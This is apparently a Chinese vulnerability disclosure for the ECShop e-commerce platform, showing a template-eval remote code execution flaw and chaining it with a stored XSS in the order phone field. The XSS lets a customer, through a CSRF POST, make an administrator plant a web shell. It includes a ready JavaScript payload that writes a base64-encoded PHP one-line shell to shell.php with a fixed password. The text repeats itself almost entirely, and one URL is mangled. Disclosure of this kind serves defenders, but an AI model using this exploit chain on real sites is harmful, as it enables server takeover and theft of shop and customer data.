### 简要描述: 吐槽下ecshop后台安全性真的太弱了。。前台组合xss来猥琐的让管理员后台getshell ### 详细说明: 0x0后台getshell 在includes/cls_template.php fetch函数 ``` /** * 处理模板文件 * * @access public * @param string $filename * @param sting $cache_id * * @return sring */ function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; //若$filename以str:开头则执行下面的语句 if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } ``` 可以看到如果$filename以"str:"开头那么就调用_eval()函数执行"str:"后面的代码, 不过在执行之前系统调用fetch_str函数进行字符查找和替换。 _eval(): ``` function _eval($content) { ob_start(); eval('?' . '>' . trim($content)); $content = ob_get_contents(); ob_end_clean(); return $content; } ``` ``` /** * 处理字符串函数 * * @access public * @param string $source * * @return string */ function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source =...
### 简要描述: 吐槽下ecshop后台安全性真的太弱了。。前台组合xss来猥琐的让管理员后台getshell ### 详细说明: 0x0后台getshell 在includes/cls_template.php fetch函数 ``` /** * 处理模板文件 * * @access public * @param string $filename * @param sting $cache_id * * @return sring */ function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; //若$filename以str:开头则执行下面的语句 if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } ``` 可以看到如果$filename以"str:"开头那么就调用_eval()函数执行"str:"后面的代码, 不过在执行之前系统调用fetch_str函数进行字符查找和替换。 _eval(): ``` function _eval($content) { ob_start(); eval('?' . '>' . trim($content)); $content = ob_get_contents(); ob_end_clean(); return $content; } ``` ``` /** * 处理字符串函数 * * @access public * @param string $source * * @return string */ function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source = preg_replace("/<\?[^><]+\?>|<\%[^><]+\%>|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*<\/script\s*>/iU", "", $source); return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); } ``` 过滤了php语言的标记。 现在需要查看有哪些代码调用了这个函数,找到了这段代码:wholesale.php ``` /*------------------------------------------------------ */ //-- 提交订单 /*------------------------------------------------------ */ elseif ($_REQUEST['act'] == 'submit_order') { include_once(ROOT_PATH . 'includes/lib_order.php'); ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... /* 给商家发邮件 */ if ($_CFG['service_email'] != '') { $tpl = get_mail_template('remind_of_new_order'); ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... $content = $smarty->fetch('str:' . $tpl['template_content']); ... ... ... ... ... ... ... ... ... ... ... ... } ``` 在提交订单的地方看到了代码调用了get_mail_template()获得remind_of_new_order模板的内容,然后放入到fetch中执行,如果可以控制remind_of_new_order模板的内容那就可以让ecshop执行我们的命令了。 在后台可以在模板管理中找到邮件模板,更改remind_of_new_order的内容为"{$phpinfo()'];phpinfo();/*}",然后在调试中可以看到代码被替换成了"<?php echo $this->_var['phpinfo()'];phpinfo();/*']; ?>",代码成功执行。 [<img src="https://images.seebug.org/upload/201210/21205649397c4819a12881276341a72e654a7a16.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/21205649397c4819a12881276341a72e654a7a16.png) 0x1 前台xss 前台在有些地方过滤不够充分,导致用户可以构造恶意javascript完成对后台管理员的xss攻击。 注册用户以后随便买个东西,收货人信息里电话一栏只有本地的客户端检查,而没有后端过滤,容易招到xss攻击。 [<img src="https://images.seebug.org/upload/201210/21205840b9c27b4e1ca436a92a490106918d9763.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/21205840b9c27b4e1ca436a92a490106918d9763.png) 0x2 xss+后台getshell 由于没有csrf的防护,因此可以前台xss到后台并让管理员帮我们getshell。 以下是实现getshell的js: ``` Var Shelldata='subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24user_name%27%5D%3Bfile_put_contents%28base64_decode%28%27c2hlbGwucGhw%27%29%2Cbase64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4%3D%27%29%29%3Becho+%24var%5B%27%24user_name%7D%0D%0A%3C%2Fp%3E%0D%0A%3Cp%3E%7B%24user_name%7D%C4%FA%BA%C3%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%C4%FA%D2%D1%BE%AD%BD%F8%D0%D0%C1%CB%C3%DC%C2%EB%D6%D8%D6%C3%B5%C4%B2%D9%D7%F7%A3%AC%C7%EB%B5%E3%BB%F7%D2%D4%CF%C2%C1%B4%BD%D3%28%BB%F2%D5%DF%B8%B4%D6%C6%B5%BD%C4%FA%B5%C4%E4%AF%C0%C0%C6%F7%29%3A%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%3Ca+target%3D%22_blank%22+href%3D%22%7B%24reset_email%7D%22%3E%7B%24reset_email%7D%3C%2Fa%3E%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%D2%D4%C8%B7%C8%CF%C4%FA%B5%C4%D0%C2%C3%DC%C2%EB%D6%D8%D6%C3%B2%D9%D7%F7%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%7B%24shop_name%7D%3Cbr+%2F%3E%0D%0A%7B%24send_date%7D%3C%2Fp%3E'; try{ var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP')); xml.open("POST",'/ecshophttps://images.seebug.org/upload/admin/mail_template.php?act=save_template',false); xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xml.onreadystatechange = function(){if(xml.readyState == 4){}}; xml.send(Shelldata); }catch(e){} ``` 上传这个js的图片并引用或者直接从外部网站引用都可以。为了测试方便,从本地引用 [<img src="https://images.seebug.org/upload/201210/21210031affd55ca327a9d4b56d7732c1adfe3c4.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/21210031affd55ca327a9d4b56d7732c1adfe3c4.png) 最后提交订单,管理员访问该订单,用户找回密码,就会在根目录生成shell.php,密码207. 管理员访问订单前的找回密码模板: [<img src="https://images.seebug.org/upload/201210/2121005454776908b8b414c68003efb597b23e54.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/2121005454776908b8b414c68003efb597b23e54.png) 管理员查看订单 [<img src="https://images.seebug.org/upload/201210/212101201583169598314f791cb715f7ab9a5fb8.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/212101201583169598314f791cb715f7ab9a5fb8.png) 管理员访问订单之后的邮件模板 [<img src="https://images.seebug.org/upload/201210/2121020886744b0c5b8b220d37b315f7717745a9.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/2121020886744b0c5b8b220d37b315f7717745a9.png) 最后用户前台找回密码,根目录下生成一句话shell.php [<img src="https://images.seebug.org/upload/201210/2121022869fdf668d69c8d41031318e690eca4f0.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/2121022869fdf668d69c8d41031318e690eca4f0.png) ### 漏洞证明: 0x0后台getshell 在includes/cls_template.php fetch函数 ``` /** * 处理模板文件 * * @access public * @param string $filename * @param sting $cache_id * * @return sring */ function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; //若$filename以str:开头则执行下面的语句 if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } ``` 可以看到如果$filename以"str:"开头那么就调用_eval()函数执行"str:"后面的代码, 不过在执行之前系统调用fetch_str函数进行字符查找和替换。 _eval(): ``` function _eval($content) { ob_start(); eval('?' . '>' . trim($content)); $content = ob_get_contents(); ob_end_clean(); return $content; } ``` ``` /** * 处理字符串函数 * * @access public * @param string $source * * @return string */ function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source = preg_replace("/<\?[^><]+\?>|<\%[^><]+\%>|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*<\/script\s*>/iU", "", $source); return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); } ``` 过滤了php语言的标记。 现在需要查看有哪些代码调用了这个函数,找到了这段代码:wholesale.php ``` /*------------------------------------------------------ */ //-- 提交订单 /*------------------------------------------------------ */ elseif ($_REQUEST['act'] == 'submit_order') { include_once(ROOT_PATH . 'includes/lib_order.php'); ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... /* 给商家发邮件 */ if ($_CFG['service_email'] != '') { $tpl = get_mail_template('remind_of_new_order'); ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... $content = $smarty->fetch('str:' . $tpl['template_content']); ... ... ... ... ... ... ... ... ... ... ... ... } ``` 在提交订单的地方看到了代码调用了get_mail_template()获得remind_of_new_order模板的内容,然后放入到fetch中执行,如果可以控制remind_of_new_order模板的内容那就可以让ecshop执行我们的命令了。 在后台可以在模板管理中找到邮件模板,更改remind_of_new_order的内容为"{$phpinfo()'];phpinfo();/*}",然后在调试中可以看到代码被替换成了"<?php echo $this->_var['phpinfo()'];phpinfo();/*']; ?>",代码成功执行。 [<img src="https://images.seebug.org/upload/201210/21205649397c4819a12881276341a72e654a7a16.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/21205649397c4819a12881276341a72e654a7a16.png) 0x1 前台xss 前台在有些地方过滤不够充分,导致用户可以构造恶意javascript完成对后台管理员的xss攻击。 注册用户以后随便买个东西,收货人信息里电话一栏只有本地的客户端检查,而没有后端过滤,容易招到xss攻击。 [<img src="https://images.seebug.org/upload/201210/21205840b9c27b4e1ca436a92a490106918d9763.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/21205840b9c27b4e1ca436a92a490106918d9763.png) 0x2 xss+后台getshell 由于没有csrf的防护,因此可以前台xss到后台并让管理员帮我们getshell。 以下是实现getshell的js: ``` Var Shelldata='subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24user_name%27%5D%3Bfile_put_contents%28base64_decode%28%27c2hlbGwucGhw%27%29%2Cbase64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4%3D%27%29%29%3Becho+%24var%5B%27%24user_name%7D%0D%0A%3C%2Fp%3E%0D%0A%3Cp%3E%7B%24user_name%7D%C4%FA%BA%C3%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%C4%FA%D2%D1%BE%AD%BD%F8%D0%D0%C1%CB%C3%DC%C2%EB%D6%D8%D6%C3%B5%C4%B2%D9%D7%F7%A3%AC%C7%EB%B5%E3%BB%F7%D2%D4%CF%C2%C1%B4%BD%D3%28%BB%F2%D5%DF%B8%B4%D6%C6%B5%BD%C4%FA%B5%C4%E4%AF%C0%C0%C6%F7%29%3A%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%3Ca+target%3D%22_blank%22+href%3D%22%7B%24reset_email%7D%22%3E%7B%24reset_email%7D%3C%2Fa%3E%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%D2%D4%C8%B7%C8%CF%C4%FA%B5%C4%D0%C2%C3%DC%C2%EB%D6%D8%D6%C3%B2%D9%D7%F7%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%7B%24shop_name%7D%3Cbr+%2F%3E%0D%0A%7B%24send_date%7D%3C%2Fp%3E'; try{ var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP')); xml.open("POST",'/ecshophttps://images.seebug.org/upload/admin/mail_template.php?act=save_template',false); xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xml.onreadystatechange = function(){if(xml.readyState == 4){}}; xml.send(Shelldata); }catch(e){} ``` 上传这个js的图片并引用或者直接从外部网站引用都可以。为了测试方便,从本地引用 [<img src="https://images.seebug.org/upload/201210/21210031affd55ca327a9d4b56d7732c1adfe3c4.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/21210031affd55ca327a9d4b56d7732c1adfe3c4.png) 最后提交订单,管理员访问该订单,用户找回密码,就会在根目录生成shell.php,密码207. 管理员访问订单前的找回密码模板: [<img src="https://images.seebug.org/upload/201210/2121005454776908b8b414c68003efb597b23e54.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/2121005454776908b8b414c68003efb597b23e54.png) 管理员查看订单 [<img src="https://images.seebug.org/upload/201210/212101201583169598314f791cb715f7ab9a5fb8.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/212101201583169598314f791cb715f7ab9a5fb8.png) 管理员访问订单之后的邮件模板 [<img src="https://images.seebug.org/upload/201210/2121020886744b0c5b8b220d37b315f7717745a9.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/2121020886744b0c5b8b220d37b315f7717745a9.png) 最后用户前台找回密码,根目录下生成一句话shell.php [<img src="https://images.seebug.org/upload/201210/2121022869fdf668d69c8d41031318e690eca4f0.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201210/2121022869fdf668d69c8d41031318e690eca4f0.png)